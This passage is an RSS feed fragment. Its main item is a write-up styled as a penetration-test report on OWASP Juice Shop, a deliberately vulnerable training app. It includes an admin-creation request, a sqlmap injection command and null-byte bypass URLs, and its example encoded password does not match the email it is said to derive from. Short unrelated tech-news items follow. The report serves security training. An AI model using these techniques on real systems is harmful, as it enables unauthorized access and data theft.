v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate OAuth and password authentication</li><li>Use strong, random credentials</li><li>Do not expose authentication logic</li><li>Perform security design reviews</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/">OWASP Top 10 — Broken Authentication</a></li><li><a href="https://cwe.mitre.org/data/definitions/522.html">CWE-522 — Insufficiently Protected Credentials</a></li><li><a href="https://datatracker.ietf.org/doc/html/rfc8252">OAuth 2.0 Security Best Practices (RFC 8252)</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>3. SQL Injection in Product Search Endpoint</h3><h3>Summary (with CWE)</h3><p>An SQL Injection (SQLi) vulnerability was identified in the product search functionality of OWASP Juice Shop. The application fails to properly sanitize user-controlled input in the q parameter, allowing attackers to inject malicious SQL queries.</p><p>This flaw enables unauthorized database access, including enumeration of database tables and potential exposure of sensitive data.</p><h3>CWE ID</h3><p>CWE-89 — Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)</p><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>The /rest/products/search API endpoint accepts user input via the <strong>q</strong> parameter to search for products. This input is directly incorporated into backend SQL queries without sufficient sanitization or parameterization.</p><p>An attacker can exploit this weakness to inject arbitrary SQL commands, allowing enumeration of database schema and extraction of sensitive information. Automated tools such as <strong>sqlmap</strong> can successfully detect and exploit this vulnerability, confirming the presence of SQL injection.</p><p>This issue represents a complete breakdown of input validation and secure query handling, posing a serious risk to application confidentiality and integrity.</p><h3>Exploit Using sqlmap</h3><pre>sqlmap -u "http://localhost:3000/rest/products/search?q=apple" --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oE0CHEd8TUToNy1MGhy4qg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9UhO9JS5Hl3YCBxryIDuA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6jvJUSScWD63XiOpBgzuQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oTjbupN8n126CTwsYotbYQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KFsmogCi-BSuofuUDJ45vg.png"></figure><p>Got User credentials :)</p><h3>Suggested Remediation</h3><ul><li>Sanitize and validate all user-supplied inputs</li><li>Implement parameterized queries</li><li>Deploy a Web Application Firewall (WAF)</li><li>Enable logging &amp; monitoring</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-community/attacks/SQL_Injection">OWASP SQL Injection Prevention Cheat Sheet</a></li><li><a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89 — SQL Injection</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Documentation</a></li><li>CVSS v3.1 Specification: <a href="https://www.first.org/cvss/v3.1/">https://www.first.org/cvss/v3.1/</a></li></ol><h3>4. Arbitrary File Download via Poison Null Byte Injection</h3><h3>Summary (with CWE)</h3><p>The application is vulnerable to <strong>Poison Null Byte Injection</strong>, allowing an attacker to bypass file extension validation and download <strong>sensitive backup files</strong> stored on the server. By exploiting improper input validation and unsafe file handling, restricted backup files such as developer and salesman data can be accessed.</p><h3>CWE ID</h3><ul><li>CWE-158 — Improper Neutralization of Null Byte</li><li>CWE-22 — Improper Limitation of Pathname to Restricted Directory</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</p><p><strong>CVSS Base Score:</strong> 7.5 (High)</p><h3>Description</h3><p>OWASP Juice Shop restricts file downloads in the /ftp endpoint by validating file extensions. However, this validation can be bypassed using a <strong>Poison Null Byte (%00) injection</strong> combined with <strong>double URL encoding</strong>.</p><p>The backend improperly handles null bytes during file system access, causing the application to truncate the filename at the null byte and serve restricted backup files (e.g., .bak) while still passing extension validation checks.</p><p>This results in <strong>unauthorized access to sensitive backup files</strong>, potentially exposing configuration details, credentials, or business data.</p><h3>Steps to Reproduce:</h3><h4><strong>Access a Developer’s Forgotten Backup File:</strong></h4><ol><li>Navigate to the FTP directory: <a href="http://localhost:3000/ftp">http://localhost:3000/ftp</a></li><li>Attempt direct access (fails due to extension restriction): <a href="http://localhost:3000/ftp/package.json.bak">http://localhost:3000/ftp/package.json.bak</a></li><li>Try Poison Null Byte injection (fails initially): <a href="http://localhost:3000/ftp/package.json.bak%00.md">http://localhost:3000/ftp/package.json.bak%00.md</a></li><li>URL-encode the % character as well: <a href="http://localhost:3000/ftp/package.json.bak%2500.md">http://localhost:3000/ftp/package.json.bak%2500.md</a></li></ol><p>The server successfully returns the <strong>restricted backup file</strong>, completing the exploit.</p><h4><strong>Access a Salesman’s Forgotten Backup File</strong>:</h4><ol><li>Use the same Poison Null Byte technique: <a href="http://localhost:3000/ftp/coupons_2013.md.bak%2500.md">http://localhost:3000/ftp/coupons_2013.md.bak%2500.md</a></li><li>The backup file downloads successfully, revealing sensitive business data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtP_eSL1Sza2N8_1_1Yag.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxtA320Y7ic8X98oKXa02A.png"></figure><p>Backup file downloads successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZwQ-UUtHidNkJxdbtjDSgw.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*-mITIIF8p-SjS0LxXk8ViQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Reject null bytes explicitly</li><li>Decode input before validation</li><li>Use allow-listed file access</li><li>Disable public access to backups</li><li>Use secure file APIs</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Foundation — OWASP Juice Shop</a></li><li><a href="https://cwe.mitre.org/data/definitions/158.html">CWE-158: Improper Neutralization of Null Byte</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/">OWASP Testing Guide — File Handling Vulnerabilities</a></li><li><a href="https://portswigger.net/web-security/file-path-traversal">PortSwigger — File Path Traversal &amp; Null Byte Attacks</a></li></ol><h3>Thanks For Reading :)</h3><p><strong>Happy Hacking ;)</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=f8440a9735c1" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vapt-report-example-f8440a9735c1">VAPT Report Example</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[EUDI Wallet: Das ist die größte Hürde für Europas digitale Identität]]></title>
<description><![CDATA[Die geplante Einführung der EUDI Wallet steht in Deutschland vor einer zentralen Herausforderung: Nur wenige Menschen wissen bislang, was sich hinter der digitalen Brieftasche verbirgt. 

Tags: #Digitale Identität | #EUDI-Wallet]]></description>
<link>https://tsecurity.de/de/3675111/it-security-nachrichten/eudi-wallet-das-ist-die-groesste-huerde-fuer-europas-digitale-identitaet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675111/it-security-nachrichten/eudi-wallet-das-ist-die-groesste-huerde-fuer-europas-digitale-identitaet/</guid>
<pubDate>Fri, 17 Jul 2026 07:23:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2024/08/Digital-Wallet_Shutterstock_2339707217.jpg" class="attachment-full size-full wp-post-image" alt="Digital Wallet, eIDAS, EU-Wallet" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2024/08/Digital-Wallet_Shutterstock_2339707217.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2024/08/Digital-Wallet_Shutterstock_2339707217-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2024/08/Digital-Wallet_Shutterstock_2339707217-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2024/08/Digital-Wallet_Shutterstock_2339707217-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2024/08/Digital-Wallet_Shutterstock_2339707217-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="EUDI Wallet: Das ist die größte Hürde für Europas digitale Identität 1"></p>
    Die geplante Einführung der EUDI Wallet steht in Deutschland vor einer zentralen Herausforderung: Nur wenige Menschen wissen bislang, was sich hinter der digitalen Brieftasche verbirgt. 

<p>Tags: <a href="https://www.it-daily.net/thema/digitale-identitaet">#Digitale Identität</a> | <a href="https://www.it-daily.net/thema/eudi-wallet">#EUDI-Wallet</a></p>]]></content:encoded>
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<title><![CDATA[OkoBot greift Kryptowallets an und tarnt sich als legitime Software]]></title>
<description><![CDATA[Kaspersky warnt vor einem neuen Malware-Framework, das gezielt auf Kryptowährungsnutzer und Entwickler abzielt. 

Tags: #Krypto Wallet | #Malware]]></description>
<link>https://tsecurity.de/de/3675028/it-security-nachrichten/okobot-greift-kryptowallets-an-und-tarnt-sich-als-legitime-software/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675028/it-security-nachrichten/okobot-greift-kryptowallets-an-und-tarnt-sich-als-legitime-software/</guid>
<pubDate>Fri, 17 Jul 2026 06:22:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1920" height="1080" src="https://www.it-daily.net/wp-content/uploads/2024/09/Malware_Shutterstock_2488557505_1920.jpg" class="attachment-full size-full wp-post-image" alt="Top Malware, Malware, Juli 2024" decoding="async" srcset="https://www.it-daily.net/wp-content/uploads/2024/09/Malware_Shutterstock_2488557505_1920.jpg 1920w, https://www.it-daily.net/wp-content/uploads/2024/09/Malware_Shutterstock_2488557505_1920-300x169.jpg 300w, https://www.it-daily.net/wp-content/uploads/2024/09/Malware_Shutterstock_2488557505_1920-1024x576.jpg 1024w, https://www.it-daily.net/wp-content/uploads/2024/09/Malware_Shutterstock_2488557505_1920-768x432.jpg 768w, https://www.it-daily.net/wp-content/uploads/2024/09/Malware_Shutterstock_2488557505_1920-1536x864.jpg 1536w" sizes="(max-width: 1920px) 100vw, 1920px" title="OkoBot greift Kryptowallets an und tarnt sich als legitime Software 1"></p>
    Kaspersky warnt vor einem neuen Malware-Framework, das gezielt auf Kryptowährungsnutzer und Entwickler abzielt. 

<p>Tags: <a href="https://www.it-daily.net/thema/krypto-wallet">#Krypto Wallet</a> | <a href="https://www.it-daily.net/thema/malware">#Malware</a></p>]]></content:encoded>
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<title><![CDATA[Google takes aim at Canva and Adobe as its AI image editor Pics gets an official rollout date]]></title>
<description><![CDATA[The AI-powered image creation and editing application Google Pics was first made available in Gemini Alpha in May, and the company now plans to release it to all paying Workspace customers starting in August.]]></description>
<link>https://tsecurity.de/de/3674951/it-nachrichten/google-takes-aim-at-canva-and-adobe-as-its-ai-image-editor-pics-gets-an-official-rollout-date/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674951/it-nachrichten/google-takes-aim-at-canva-and-adobe-as-its-ai-image-editor-pics-gets-an-official-rollout-date/</guid>
<pubDate>Fri, 17 Jul 2026 04:47:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AI-powered image creation and editing application Google Pics was first made available in Gemini Alpha in May, and the company now plans to release it to all paying Workspace customers starting in August.]]></content:encoded>
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<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
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<title><![CDATA[Roblox will offer AI-generated game creation on mobile later this year]]></title>
<description><![CDATA[Build starts limited alpha testing later this month.]]></description>
<link>https://tsecurity.de/de/3674699/it-nachrichten/roblox-will-offer-ai-generated-game-creation-on-mobile-later-this-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674699/it-nachrichten/roblox-will-offer-ai-generated-game-creation-on-mobile-later-this-year/</guid>
<pubDate>Thu, 16 Jul 2026 23:47:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Build starts limited alpha testing later this month.]]></content:encoded>
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<title><![CDATA[1Password Will Let You Allow Claude to Use Your Passwords, but Not See Them]]></title>
<description><![CDATA[You'll have to give your thumbs-up -- or some kind of biometric approval -- when the AI agent needs to use a password.]]></description>
<link>https://tsecurity.de/de/3674598/it-nachrichten/1password-will-let-you-allow-claude-to-use-your-passwords-but-not-see-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674598/it-nachrichten/1password-will-let-you-allow-claude-to-use-your-passwords-but-not-see-them/</guid>
<pubDate>Thu, 16 Jul 2026 22:32:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[You'll have to give your thumbs-up -- or some kind of biometric approval -- when the AI agent needs to use a password.]]></content:encoded>
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<title><![CDATA[AI-generated Roblox games are about to get much easier to make on iPhone]]></title>
<description><![CDATA[Roblox is putting AI game creation inside its mobile app, giving more people a faster way to turn a written idea into a playable experience without starting in Roblox Studio.Mobile-first AI creation on RobloxThe company will begin a public alpha of Build in New Zealand on July 28, 2026. The mobil...]]></description>
<link>https://tsecurity.de/de/3674520/ios-mac-os/ai-generated-roblox-games-are-about-to-get-much-easier-to-make-on-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674520/ios-mac-os/ai-generated-roblox-games-are-about-to-get-much-easier-to-make-on-iphone/</guid>
<pubDate>Thu, 16 Jul 2026 21:39:42 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Roblox is putting AI game creation inside its mobile app, giving more people a faster way to turn a written idea into a playable experience without starting in Roblox Studio.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68270-143903-IMG_8041-xl.jpg" alt="Four smartphone screens show a dark-themed fantasy game: naming a new game, reading a story description, exploring a lush forest with mushrooms, and a character selection or party management screen." height="738"><span>Mobile-first AI creation on Roblox</span></div><br>The company will begin a public alpha of Build in New Zealand on July 28, 2026. The mobile-first AI tool turns text prompts into playable games inside the Roblox app and will include publishing among its selected early features.<br><br>Build adds a creation tab to the mobile app. A user can describe a game in ordinary language, and Build will generate an initial project with gameplay mechanics, environments, characters, visual styling, sound, and other elements.<br><br>Creators can playtest the result, request changes through chat, share the project with friends, or continue working in Roblox Studio. Build and Studio share the same back end, models, and chat history, so a project started on a phone can move into the company's more advanced desktop tools.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/ai-generated-roblox-games-are-about-to-get-much-easier-to-make-on-iphone?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244976?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[New OkoBot framework deploys 20 payloads to steal data, crypto]]></title>
<description><![CDATA[A new malicious framework called OkoBot is delivering more than 20 payloads in attacks focused on stealing cryptocurrency wallet seed phrases, credentials, and other sensitive data. [...]]]></description>
<link>https://tsecurity.de/de/3674482/it-security-nachrichten/new-okobot-framework-deploys-20-payloads-to-steal-data-crypto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674482/it-security-nachrichten/new-okobot-framework-deploys-20-payloads-to-steal-data-crypto/</guid>
<pubDate>Thu, 16 Jul 2026 21:23:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new malicious framework called OkoBot is delivering more than 20 payloads in attacks focused on stealing cryptocurrency wallet seed phrases, credentials, and other sensitive data. [...]]]></content:encoded>
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<title><![CDATA[Roblox launches an AI-powered game creation feature in its mobile app]]></title>
<description><![CDATA[Roblox's new "Build" feature lets users generate basic games using a single text prompt.]]></description>
<link>https://tsecurity.de/de/3674386/it-nachrichten/roblox-launches-an-ai-powered-game-creation-feature-in-its-mobile-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674386/it-nachrichten/roblox-launches-an-ai-powered-game-creation-feature-in-its-mobile-app/</guid>
<pubDate>Thu, 16 Jul 2026 20:32:30 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Roblox's new "Build" feature lets users generate basic games using a single text prompt.]]></content:encoded>
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<title><![CDATA[Roblox Build Will Let Users Create AI Games Inside the Mobile App]]></title>
<description><![CDATA[Roblox will soon let users create basic games with AI directly inside its mobile app through a new feature called Build. The mobile-first tool turns text prompts into playable game ideas while handling gameplay mechanics, environments, characters, visual style, sound, and other development tasks....]]></description>
<link>https://tsecurity.de/de/3674347/ios-mac-os/roblox-build-will-let-users-create-ai-games-inside-the-mobile-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674347/ios-mac-os/roblox-build-will-let-users-create-ai-games-inside-the-mobile-app/</guid>
<pubDate>Thu, 16 Jul 2026 20:09:21 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Roblox will soon let users create basic games with AI directly inside its mobile app through a new feature called Build. The mobile-first tool turns text prompts into playable game ideas while handling gameplay mechanics, environments, characters, visual style, sound, and other development tasks.



Roblox plans to launch Build in public alpha on July 28 for age-verified users aged nine and older in New Zealand. Games published through the tool will remain available globally to verified users aged 16 and older after passing the company’s safety checks.



Roblox said Build uses its proprietary AI systems alongside open-source models, allowing creators to describe a game and receive a working starting point they can edit, test, share, or publish. Users can also move projects between Build and Roblox Studio because both tools share the same back end, models, and chat history.



Roblox says discovery will still reward quality







The easier creation process raises concerns that users could quickly publish large numbers of low-quality AI games. However, Roblox says Build-created experiences will enter the same discovery system as every other game on the platform.




“Our discovery systems are designed to highlight games with long-term retention, which doesn’t include AI slop. The quality of games on the homepage isn’t changing: If no one plays it, no one can find it,” Roblox said.




The company will offer a free base version of Build, while paid options for advanced users will arrive later. Roblox is also developing playtesting, analytics, and experiment agents that will help creators find bugs, study player behaviour, and improve engagement, retention, and monetisation across Build and Studio.]]></content:encoded>
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<title><![CDATA[Create, edit and star in videos with two Google Vids updates]]></title>
<description><![CDATA[Gemini Omni and personal avatars in Google Vids make video creation easier than ever.]]></description>
<link>https://tsecurity.de/de/3674045/it-nachrichten/create-edit-and-star-in-videos-with-two-google-vids-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674045/it-nachrichten/create-edit-and-star-in-videos-with-two-google-vids-updates/</guid>
<pubDate>Thu, 16 Jul 2026 18:18:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/omni-blog-header_OarEe2t.max-600x600.format-webp.webp">Gemini Omni and personal avatars in Google Vids make video creation easier than ever.]]></content:encoded>
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<title><![CDATA[South Korea To Launch Universal Basic AI Chatbot]]></title>
